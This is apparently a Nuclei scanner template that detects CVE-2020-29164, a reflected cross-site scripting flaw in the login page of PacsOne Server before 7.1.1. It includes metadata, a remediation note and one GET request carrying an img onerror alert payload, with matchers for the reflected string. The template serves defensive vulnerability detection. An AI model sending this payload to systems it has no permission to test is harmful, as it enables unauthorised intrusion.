id: CVE-2020-29164

info:
  name: PacsOne Server <7.1.1 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to PacsOne Server version 7.1.1 or later to mitigate this vulnerability.
  reference:
    - https://gist.github.com/leommxj/0a32afeeaac960682c5b7c9ca8ed070d
    - https://pacsone.net/download.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29164
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-29164
    cwe-id: CWE-79
    epss-score: 0.10218
    epss-percentile: 0.93248
    cpe: cpe:2.3:a:rainbowfishsoftware:pacsone_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rainbowfishsoftware
    product: pacsone_server
  tags: cve,cve2020,pacsone,xss,rainbowfishsoftware,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - '<img src="" onerror="alert(1);">1</img>'

      - type: status
        status:
          - 200
# digest: 490a00463044022013907712c8820582435136f485a8b34b8a12ec4082f7b78f4ed36f0179f5da2c022018789f7f833a290bc46341036f3a574f096b5d44c34527d709654c55bf218709:922c64590222798bb761d5b6d8e72950